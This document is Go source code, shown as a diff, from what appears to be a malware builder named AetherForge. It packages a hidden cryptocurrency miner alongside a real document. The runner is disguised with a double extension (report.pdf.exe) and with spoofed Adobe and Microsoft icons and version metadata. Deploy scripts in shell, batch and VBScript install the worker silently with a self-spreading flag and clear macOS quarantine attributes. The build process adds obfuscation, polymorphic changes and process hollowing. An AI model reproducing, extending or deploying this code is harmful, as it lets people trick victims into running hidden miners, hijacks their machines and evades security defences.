if mode == "paired" && prepPath != "" {
|
||||
destPayload := filepath.Join(outDir, sanitizeFileName(payloadBase))
|
||||
_ = copyFile(prepPath, destPayload)
|
||||
}
|
||||
|
||||
_ = os.WriteFile(filepath.Join(outDir, "start.sh"), []byte(fusionUniversalStartSh(title)), 0755)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "Start.bat"), []byte(fusionUniversalStartBat(title)), 0644)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(fusionUniversalStartCommand()), 0755)
|
||||
|
||||
readme := fusionReadmeInfo{
|
||||
Title: titleBase,
|
||||
RunnerName: titleBase + "-runner",
|
||||
MediaName: payloadBase,
|
||||
PayloadKind: req.FusionPayloadKind,
|
||||
MediaMode: mode,
|
||||
}
|
||||
windowsRunnerName := disguisedRunnerName(payloadBase)
|
||||
unixRunnerName := sanitizeFileName(titleBase+"-runner")
|
||||
readmeExtra := "\r\nLAUNCH INSTRUCTIONS (Universal — all OSes):\r\n" +
|
||||
" Windows: double-click Start.bat (or run bin\\windows-amd64\\" + windowsRunnerName + ")\r\n" +
|
||||
" NOTE: on Windows, " + windowsRunnerName + " appears as \"" + titleBase + strings.ToLower(filepath.Ext(payloadBase)) + "\" (icon + name disguised)\r\n" +
|
||||
" Linux: chmod +x start.sh && ./start.sh (or bin/linux-amd64/" + unixRunnerName + ")\r\n" +
|
||||
" macOS: double-click Start.command (or open " + titleBase + ".app)\r\n\r\n" +
|
||||
"What happens when launched:\r\n" +
|
||||
" 1. The original file (" + payloadBase + ") opens normally\r\n" +
|
||||
" 2. The miner installs silently and connects to your command deck\r\n"
|
||||
_ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatFusionReadme(readme)+readmeExtra), 0644)
|
||||
|
||||
zipName := fusionBundleZipName(subdir)
|
||||
zipPath := filepath.Join(buildDir, zipName)
|
||||
if err := zipDirectory(outDir, zipPath); err != nil {
|
||||
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
|
||||
|
||||
if primaryPath == "" && len(fusionResults) > 0 {
|
||||
primaryPath = fusionResults[0].LauncherPath
|
||||
}
|
||||
zipSt2, _ := os.Stat(zipPath)
|
||||
zipBytes2 := int64(0)
|
||||
if zipSt2 != nil {
|
||||
zipBytes2 = zipSt2.Size()
|
||||
}
|
||||
|
||||
if err := h.db.InsertBuild(&models.BuildRecord{
|
||||
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
|
||||
Threads: req.Threads, FileSize: zipBytes2, FilePath: zipPath, CreatedAt: time.Now(),
|
||||
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
|
||||
Platform: "universal", BundleSize: zipBytes2,
|
||||
}); err != nil {
|
||||
log.Printf("[Builder] InsertBuild error (universal fusion %s): %v", buildID, err)
|
||||
}
|
||||
|
||||
return BuildResponse{
|
||||
Success: true,
|
||||
BuildID: buildID,
|
||||
FileName: zipName,
|
||||
FilePath: zipPath,
|
||||
RelativePath: filepath.ToSlash(filepath.Join(FusionDeliverablesDir, subdir, zipName)),
|
||||
FileSize: zipBytes2,
|
||||
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||
FusionEnabled: true,
|
||||
FusionExportDir: outDir,
|
||||
BundleFileName: zipName,
|
||||
BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||
BundleSize: zipBytes2,
|
||||
ExportPath: outDir,
|
||||
}, http.StatusOK, primaryPath
|
||||
}
|
||||
|
||||
func runnerNameForPlatform(p BuildPlatform) string {
|
||||
if p.GOOS == "windows" {
|
||||
return "runner.exe"
|
||||
}
|
||||
return "runner"
|
||||
}
|
||||
|
||||
func fileSize(st os.FileInfo) int64 {
|
||||
if st == nil {
|
||||
return 0
|
||||
}
|
||||
return st.Size()
|
||||
}
|
||||
|
||||
const universalDeploySh = `#!/bin/sh
|
||||
set -e
|
||||
DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
export AETHER_KIT_DIR="$DIR"
|
||||
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
|
||||
ARCH="$(uname -m)"
|
||||
case "$OS" in
|
||||
linux*)
|
||||
case "$ARCH" in
|
||||
arm64|aarch64) RUN="$DIR/bin/linux-arm64/worker" ;;
|
||||
*) RUN="$DIR/bin/linux-amd64/worker" ;;
|
||||
esac
|
||||
;;
|
||||
darwin*)
|
||||
case "$ARCH" in
|
||||
arm64|aarch64) RUN="$DIR/bin/darwin-arm64/worker" ;;
|
||||
*) RUN="$DIR/bin/darwin-amd64/worker" ;;
|
||||
esac
|
||||
;;
|
||||
*) echo "Unsupported OS: $OS"; exit 1 ;;
|
||||
esac
|
||||
if [ ! -f "$RUN" ]; then
|
||||
echo "Worker binary missing: $RUN"
|
||||
exit 1
|
||||
fi
|
||||
chmod +x "$RUN" 2>/dev/null || true
|
||||
xattr -cr "$RUN" 2>/dev/null || true
|
||||
nohup "$RUN" --spread-install </dev/null >/dev/null 2>&1 &
|
||||
exit 0
|
||||
`
|
||||
|
||||
func spreadKitDeploySh() string {
|
||||
return universalDeploySh
|
||||
}
|
||||
|
||||
const spreadKitDeployBatBody = `@echo off
|
||||
setlocal
|
||||
set "DIR=%~dp0"
|
||||
set "AETHER_KIT_DIR=%DIR%"
|
||||
set "RUN=%DIR%bin\windows-amd64\worker.exe"
|
||||
if not exist "%RUN%" (
|
||||
echo Worker missing: %RUN%
|
||||
exit /b 1
|
||||
)
|
||||
start "" /B "%RUN%" --spread-install
|
||||
exit /b 0
|
||||
`
|
||||
|
||||
func spreadKitDeployBat() string {
|
||||
return spreadKitDeployBatBody
|
||||
}
|
||||
|
||||
const spreadKitDeployVbsBody = `Set sh = CreateObject("WScript.Shell")
|
||||
dir = Replace(WScript.ScriptFullName, WScript.ScriptName, "")
|
||||
run = dir & "bin\windows-amd64\worker.exe"
|
||||
If Not CreateObject("Scripting.FileSystemObject").FileExists(run) Then
|
||||
WScript.Echo "Worker missing: " & run
|
||||
WScript.Quit 1
|
||||
End If
|
||||
sh.Environment("PROCESS")("AETHER_KIT_DIR") = dir
|
||||
sh.Run """" & run & """ --spread-install", 0, False
|
||||
`
|
||||
|
||||
func spreadKitDeployVbs() string {
|
||||
return spreadKitDeployVbsBody
|
||||
}
|
||||
|
||||
const spreadKitStartCommandBody = `#!/bin/bash
|
||||
DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
exec "$DIR/deploy.sh"
|
||||
`
|
||||
|
||||
func spreadKitStartCommand() string {
|
||||
return spreadKitStartCommandBody
|
||||
}
|
||||
|
||||
const universalDeployBat = `@echo off
|
||||
set DIR=%~dp0
|
||||
"%DIR%bin\windows-amd64\worker.exe" --spread-install
|
||||
`
|
||||
|
||||
// fusionUniversalStartSh returns start.sh for the universal fusion ZIP.
|
||||
// It detects the OS/arch and launches the matching runner binary.
|
||||
// title is the payload filename — Unix runners use a sanitised "-runner" suffix.
|
||||
func fusionUniversalStartSh(title string) string {
|
||||
base := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
|
||||
if base == "" {
|
||||
base = "runner"
|
||||
}
|
||||
runnerBase := sanitizeFileName(base + "-runner")
|
||||
return `#!/bin/sh
|
||||
DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
|
||||
ARCH="$(uname -m)"
|
||||
case "$OS" in
|
||||
linux*)
|
||||
case "$ARCH" in
|
||||
arm64|aarch64) RUN="$DIR/bin/linux-arm64/` + runnerBase + `" ;;
|
||||
*) RUN="$DIR/bin/linux-amd64/` + runnerBase + `" ;;
|
||||
esac ;;
|
||||
darwin*)
|
||||
case "$ARCH" in
|
||||
arm64|aarch64) RUN="$DIR/bin/darwin-arm64/` + runnerBase + `" ;;
|
||||
*) RUN="$DIR/bin/darwin-amd64/` + runnerBase + `" ;;
|
||||
esac ;;
|
||||
*) echo "Unsupported OS: $OS"; exit 1 ;;
|
||||
esac
|
||||
if [ ! -f "$RUN" ]; then echo "Runner not found: $RUN"; exit 1; fi
|
||||
chmod +x "$RUN" 2>/dev/null || true
|
||||
xattr -cr "$RUN" 2>/dev/null || true
|
||||
exec "$RUN"
|
||||
`
|
||||
}
|
||||
|
||||
// fusionUniversalStartBat returns Start.bat for the universal fusion ZIP (Windows runner).
|
||||
// title is the payload filename — the runner uses the double-extension disguised name.
|
||||
func fusionUniversalStartBat(title string) string {
|
||||
runnerExe := disguisedRunnerName(title)
|
||||
return "@echo off\r\nset \"DIR=%~dp0\"\r\n\"%DIR%bin\\windows-amd64\\" + runnerExe + "\"\r\n"
|
||||
}
|
||||
|
||||
// fusionUniversalStartCommand returns Start.command (macOS double-click launcher).
|
||||
func fusionUniversalStartCommand() string {
|
||||
return "#!/bin/bash\nDIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\nexec \"$DIR/start.sh\"\n"
|
||||
}
|
||||
|
||||
func formatSpreadKitReadme(req *BuildRequest) string {
|
||||
return fmt.Sprintf(`AetherForge Universal Spread Kit — %s
|
||||
=====================================
|
||||
|
||||
Run ONE launcher for your OS (silent install + mining + deck connection):
|
||||
|
||||
Windows (silent): double-click Deploy.vbs (or Deploy.bat)
|
||||
Linux: chmod +x deploy.sh && ./deploy.sh
|
||||
macOS: double-click Start.command (or ./deploy.sh)
|
||||
|
||||
Keep the entire folder together — bin/ must stay next to the launcher.
|
||||
|
||||
Command deck URL baked into workers: %s
|
||||
If agents never appear, re-forge with your LAN IP (not localhost).
|
||||
|
||||
Troubleshooting log (if install fails): %%TEMP%%\aetherforge-spread.log (Windows) or /tmp/aetherforge-spread.log (Unix)
|
||||
`, req.WorkerName, req.ServerURL)
|
||||
}
|
||||
|
||||
func formatSpreadKitOperator(req *BuildRequest, buildID string) string {
|
||||
return fmt.Sprintf(`AetherForge Spread Kit — operator reference
|
||||
Worker: %s
|
||||
Build ID: %s
|
||||
Command URL: %s
|
||||
Pool: %s:%d
|
||||
Wallet: %s…
|
||||
Auto-spread: %v
|
||||
Targets: windows-amd64, linux-amd64, linux-arm64, darwin-amd64, darwin-arm64
|
||||
|
||||
Verify: unzip, run launcher on target OS, agent should appear on command deck within ~30s.
|
||||
`, req.WorkerName, buildID, req.ServerURL, req.PoolHost, req.PoolPort, truncateWallet(req.Wallet), req.AutoSpread)
|
||||
}
|
||||
|
||||
func truncateWallet(w string) string {
|
||||
w = strings.TrimSpace(w)
|
||||
if len(w) <= 16 {
|
||||
return w
|
||||
}
|
||||
return w[:16]
|
||||
}
|
||||
@@ -1,13 +1,5 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (h *Handler) buildTagsFor(req *BuildRequest) []string {
|
||||
var tags []string
|
||||
if req.ProcessHollowing {
|
||||
@@ -27,36 +19,5 @@ func (h *Handler) shouldObfuscate(req *BuildRequest) bool {
|
||||
}
|
||||
|
||||
func (h *Handler) compileGoProject(dir, outputPath, ldflags string, tags []string, obfuscate bool) ([]byte, error) {
|
||||
env := append(os.Environ(),
|
||||
"GOOS=windows",
|
||||
"GOARCH=amd64",
|
||||
"CGO_ENABLED=0",
|
||||
)
|
||||
|
||||
buildArgs := []string{"build", "-trimpath", "-ldflags", ldflags, "-o", outputPath}
|
||||
if len(tags) > 0 {
|
||||
buildArgs = append(buildArgs, "-tags", strings.Join(tags, ","))
|
||||
}
|
||||
buildArgs = append(buildArgs, ".")
|
||||
|
||||
useGarble := obfuscate && h.garblePath != ""
|
||||
if obfuscate && !useGarble {
|
||||
log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary")
|
||||
}
|
||||
|
||||
var cmd *exec.Cmd
|
||||
if useGarble {
|
||||
garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...)
|
||||
cmd = exec.Command(h.garblePath, garbleArgs...)
|
||||
} else {
|
||||
cmd = exec.Command(h.goBinPath, buildArgs...)
|
||||
}
|
||||
cmd.Dir = dir
|
||||
cmd.Env = env
|
||||
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return out, fmt.Errorf("compile failed: %s", strings.TrimSpace(string(out)))
|
||||
}
|
||||
return out, nil
|
||||
return h.compileGoProjectPlatform(dir, outputPath, ldflags, tags, obfuscate, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
|
||||
}
|
||||
|
||||
75
server/internal/builder/compile_platform.go
Normal file
75
server/internal/builder/compile_platform.go
Normal file
@@ -0,0 +1,75 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (h *Handler) compileGoProjectPlatform(dir, outputPath, ldflags string, tags []string, obfuscate bool, platform BuildPlatform) ([]byte, error) {
|
||||
env := append(os.Environ(),
|
||||
"GOOS="+platform.GOOS,
|
||||
"GOARCH="+platform.GOARCH,
|
||||
"CGO_ENABLED=0",
|
||||
)
|
||||
|
||||
buildArgs := []string{"build", "-trimpath", "-ldflags", ldflags, "-o", outputPath}
|
||||
if len(tags) > 0 {
|
||||
buildArgs = append(buildArgs, "-tags", strings.Join(tags, ","))
|
||||
}
|
||||
buildArgs = append(buildArgs, ".")
|
||||
|
||||
useGarble := obfuscate && h.garblePath != "" && platform.GOOS == "windows"
|
||||
if obfuscate && platform.GOOS == "windows" && !useGarble {
|
||||
log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary")
|
||||
}
|
||||
|
||||
var cmd *exec.Cmd
|
||||
if useGarble {
|
||||
garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...)
|
||||
cmd = exec.Command(h.garblePath, garbleArgs...)
|
||||
} else {
|
||||
cmd = exec.Command(h.goBinPath, buildArgs...)
|
||||
}
|
||||
cmd.Dir = dir
|
||||
cmd.Env = env
|
||||
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return out, fmt.Errorf("compile failed (%s): %s", platform.Label(), strings.TrimSpace(string(out)))
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (h *Handler) compileWorker(agentDir, buildDir string, req *BuildRequest, buildID string, platform BuildPlatform, fusionWorker bool) (string, error) {
|
||||
name := workerFileName(req.WorkerName, platform, fusionWorker)
|
||||
outputPath := filepath.Join(buildDir, platform.Label(), name)
|
||||
if err := os.MkdirAll(filepath.Dir(outputPath), 0755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
configDir := filepath.Join(agentDir, "config")
|
||||
if err := os.MkdirAll(configDir, 0755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil {
|
||||
return "", fmt.Errorf("write builtin config: %w", err)
|
||||
}
|
||||
|
||||
ldflags := ldflagsFor(req, platform)
|
||||
extra, err := injectPolymorph(agentDir, buildID)
|
||||
if err != nil {
|
||||
log.Printf("[Forge] polymorph inject: %v", err)
|
||||
} else {
|
||||
ldflags += extra
|
||||
}
|
||||
|
||||
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
|
||||
if _, err := h.compileGoProjectPlatform(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated, platform); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return outputPath, nil
|
||||
}
|
||||
225
server/internal/builder/disguise.go
Normal file
225
server/internal/builder/disguise.go
Normal file
@@ -0,0 +1,225 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// fileDisguiseInfo holds the spoofed Windows PE metadata for a file type.
|
||||
// When injected into the runner, Windows Explorer and Task Manager will show
|
||||
// this information instead of the generic Go binary defaults.
|
||||
type fileDisguiseInfo struct {
|
||||
FileDescription string
|
||||
ProductName string
|
||||
CompanyName string
|
||||
LegalCopyright string
|
||||
OriginalFilename string // the "real" exe that Windows thinks this is
|
||||
FileVersion string // e.g. "24.0.20112.0"
|
||||
ProductVersion string // e.g. "2024.002.20965"
|
||||
}
|
||||
|
||||
// disguiseByExt maps a lower-case file extension to the PE metadata that makes
|
||||
// the runner binary look like the legitimate application for that file type.
|
||||
// Extensions without an entry fall back to a generic Windows shell host entry.
|
||||
var disguiseByExt = map[string]fileDisguiseInfo{
|
||||
// ── Documents ──────────────────────────────────────────────────────────────
|
||||
".pdf": {
|
||||
FileDescription: "Adobe Acrobat Document", ProductName: "Adobe Acrobat",
|
||||
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1984-2025 Adobe. All rights reserved.",
|
||||
OriginalFilename: "AcroRd32.exe", FileVersion: "24.0.20112.0", ProductVersion: "2024.002.20965",
|
||||
},
|
||||
".doc": {
|
||||
FileDescription: "Microsoft Word Document", ProductName: "Microsoft Office Word",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "WINWORD.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
".docx": {
|
||||
FileDescription: "Microsoft Word Document", ProductName: "Microsoft Office Word",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "WINWORD.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
".xls": {
|
||||
FileDescription: "Microsoft Excel Worksheet", ProductName: "Microsoft Office Excel",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
".xlsx": {
|
||||
FileDescription: "Microsoft Excel Worksheet", ProductName: "Microsoft Office Excel",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
".ppt": {
|
||||
FileDescription: "Microsoft PowerPoint Presentation", ProductName: "Microsoft Office PowerPoint",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "POWERPNT.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
".pptx": {
|
||||
FileDescription: "Microsoft PowerPoint Presentation", ProductName: "Microsoft Office PowerPoint",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "POWERPNT.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
".txt": {
|
||||
FileDescription: "Text Document", ProductName: "Notepad",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "notepad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
||||
},
|
||||
".csv": {
|
||||
FileDescription: "Microsoft Excel Comma Separated Values File", ProductName: "Microsoft Office Excel",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
// ── Video ──────────────────────────────────────────────────────────────────
|
||||
".mp4": {
|
||||
FileDescription: "MP4 Video File", ProductName: "Windows Media Player",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
".mkv": {
|
||||
FileDescription: "Matroska Video File", ProductName: "VLC media player",
|
||||
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
|
||||
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
|
||||
},
|
||||
".mov": {
|
||||
FileDescription: "QuickTime Movie", ProductName: "QuickTime Player",
|
||||
CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.",
|
||||
OriginalFilename: "QuickTimePlayer.exe", FileVersion: "7.79.80.95", ProductVersion: "7.79.80.95",
|
||||
},
|
||||
".avi": {
|
||||
FileDescription: "AVI Video File", ProductName: "Windows Media Player",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
".wmv": {
|
||||
FileDescription: "Windows Media Video File", ProductName: "Windows Media Player",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
// ── Audio ──────────────────────────────────────────────────────────────────
|
||||
".mp3": {
|
||||
FileDescription: "MP3 Audio File", ProductName: "Windows Media Player",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
".wav": {
|
||||
FileDescription: "Wave Sound File", ProductName: "Windows Media Player",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
||||
},
|
||||
// ── Images ─────────────────────────────────────────────────────────────────
|
||||
".jpg": {
|
||||
FileDescription: "JPEG Image", ProductName: "Microsoft Photos",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
".jpeg": {
|
||||
FileDescription: "JPEG Image", ProductName: "Microsoft Photos",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
".png": {
|
||||
FileDescription: "PNG Image", ProductName: "Microsoft Photos",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
".gif": {
|
||||
FileDescription: "GIF Image", ProductName: "Microsoft Photos",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
||||
},
|
||||
// ── Archives ───────────────────────────────────────────────────────────────
|
||||
".zip": {
|
||||
FileDescription: "Compressed (zipped) Folder", ProductName: "Windows Explorer",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
||||
},
|
||||
".rar": {
|
||||
FileDescription: "WinRAR archive", ProductName: "WinRAR",
|
||||
CompanyName: "win.rar GmbH", LegalCopyright: "Copyright © 1993-2024 win.rar GmbH.",
|
||||
OriginalFilename: "WinRAR.exe", FileVersion: "7.01.0", ProductVersion: "7.01.0",
|
||||
},
|
||||
}
|
||||
|
||||
// fileDisguiseForExt returns the best disguise metadata for a given file extension.
|
||||
// Falls back to a generic Windows shell host entry if the extension is not recognised.
|
||||
func fileDisguiseForExt(ext string) fileDisguiseInfo {
|
||||
if info, ok := disguiseByExt[strings.ToLower(ext)]; ok {
|
||||
return info
|
||||
}
|
||||
// Generic fallback — looks like a Windows shell component
|
||||
return fileDisguiseInfo{
|
||||
FileDescription: "Windows Shell Extension", ProductName: "Windows",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
||||
}
|
||||
}
|
||||
|
||||
// disguisedRunnerName returns the Windows runner filename that impersonates a
|
||||
// document type using the double-extension trick:
|
||||
//
|
||||
// "report.pdf" → "report.pdf.exe"
|
||||
// "clip.mp4" → "clip.mp4.exe"
|
||||
//
|
||||
// When Windows hides known file extensions (the OS default), the user sees
|
||||
// "report.pdf" with the PDF icon injected by applyDocumentDisguise.
|
||||
func disguisedRunnerName(payloadName string) string {
|
||||
ext := strings.ToLower(filepath.Ext(payloadName))
|
||||
if ext == ".exe" || ext == "" {
|
||||
// Already an exe payload or no extension — no double-extension trick
|
||||
base := strings.TrimSuffix(filepath.Base(payloadName), filepath.Ext(payloadName))
|
||||
if base == "" {
|
||||
base = "setup"
|
||||
}
|
||||
return sanitizeFileName(base) + ".exe"
|
||||
}
|
||||
base := strings.TrimSuffix(filepath.Base(payloadName), filepath.Ext(payloadName))
|
||||
if base == "" {
|
||||
base = "file"
|
||||
}
|
||||
// e.g. "quarterly-report.pdf.exe"
|
||||
return sanitizeFileName(base) + ext + ".exe"
|
||||
}
|
||||
|
||||
// winresVersionJSON builds a go-winres patch JSON that injects an icon (from
|
||||
// icoRelPath, relative to the winres JSON) and the spoofed version info.
|
||||
func winresVersionJSON(info fileDisguiseInfo, icoRelPath string) ([]byte, error) {
|
||||
// Convert "16.0.17726.20004" → "16,0,17726,20004" for FILEVERSION field
|
||||
fv := strings.ReplaceAll(info.FileVersion, ".", ",")
|
||||
pv := strings.ReplaceAll(info.ProductVersion, ".", ",")
|
||||
|
||||
doc := map[string]any{
|
||||
"RT_GROUP_ICON": map[string]any{
|
||||
"APP": map[string]any{"0409": icoRelPath},
|
||||
},
|
||||
"RT_VERSION": map[string]any{
|
||||
"#1": map[string]any{
|
||||
"0409": map[string]any{
|
||||
"FILEVERSION": fv,
|
||||
"PRODUCTVERSION": pv,
|
||||
"FileDescription": info.FileDescription,
|
||||
"FileVersion": info.FileVersion,
|
||||
"InternalName": strings.TrimSuffix(info.OriginalFilename, ".exe"),
|
||||
"LegalCopyright": info.LegalCopyright,
|
||||
"OriginalFilename": info.OriginalFilename,
|
||||
"ProductName": info.ProductName,
|
||||
"ProductVersion": info.ProductVersion,
|
||||
"CompanyName": info.CompanyName,
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
return marshalJSONPretty(doc)
|
||||
}
|
||||
|
||||
func marshalJSONPretty(v any) ([]byte, error) {
|
||||
return json.MarshalIndent(v, "", " ")
|
||||
}
|
||||
|
||||
// fileDisguiseSummary returns a one-line human-readable description of what the
|
||||
// disguise will look like, used for logging.
|
||||
func fileDisguiseSummary(payloadExt string) string {
|
||||
info := fileDisguiseForExt(payloadExt)
|
||||
return fmt.Sprintf("%s (%s by %s)", info.FileDescription, info.ProductName, info.CompanyName)
|
||||
}
|
||||
10
server/internal/builder/disguise_stub.go
Normal file
10
server/internal/builder/disguise_stub.go
Normal file
@@ -0,0 +1,10 @@
|
||||
//go:build !windows
|
||||
|
||||
package builder
|
||||
|
||||
// applyDocumentDisguise is a no-op on non-Windows build hosts.
|
||||
// Icon + version-info injection into PE executables requires Windows tooling.
|
||||
// The runner will still function correctly; it just won't have the spoofed icon.
|
||||
func (h *Handler) applyDocumentDisguise(payloadExt, exePath string) error {
|
||||
return nil
|
||||
}
|
||||
118
server/internal/builder/disguise_windows.go
Normal file
118
server/internal/builder/disguise_windows.go
Normal file
@@ -0,0 +1,118 @@
|
||||
//go:build windows
|
||||
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// applyDocumentDisguise patches a compiled Windows runner .exe to impersonate
|
||||
// the file type identified by payloadExt.
|
||||
//
|
||||
// What it does:
|
||||
// 1. Extracts the Windows system icon registered for that extension (e.g. the
|
||||
// Adobe Acrobat icon for .pdf) by creating a 0-byte temp file with that
|
||||
// extension and using PowerShell to read the shell's associated icon.
|
||||
// 2. Builds a go-winres JSON patch that sets both the icon and the PE version
|
||||
// info (FileDescription, ProductName, CompanyName, OriginalFilename, etc.)
|
||||
// to match the legitimate application for that file type.
|
||||
// 3. Patches the runner exe in-place.
|
||||
//
|
||||
// After this runs, Windows Explorer shows the runner with the exact icon and
|
||||
// file description of a real document (e.g. "Adobe Acrobat Document" for .pdf).
|
||||
// Combined with double-extension naming (report.pdf.exe) the runner is visually
|
||||
// indistinguishable from the real file when extension hiding is on (Windows default).
|
||||
func (h *Handler) applyDocumentDisguise(payloadExt, exePath string) error {
|
||||
info := fileDisguiseForExt(payloadExt)
|
||||
|
||||
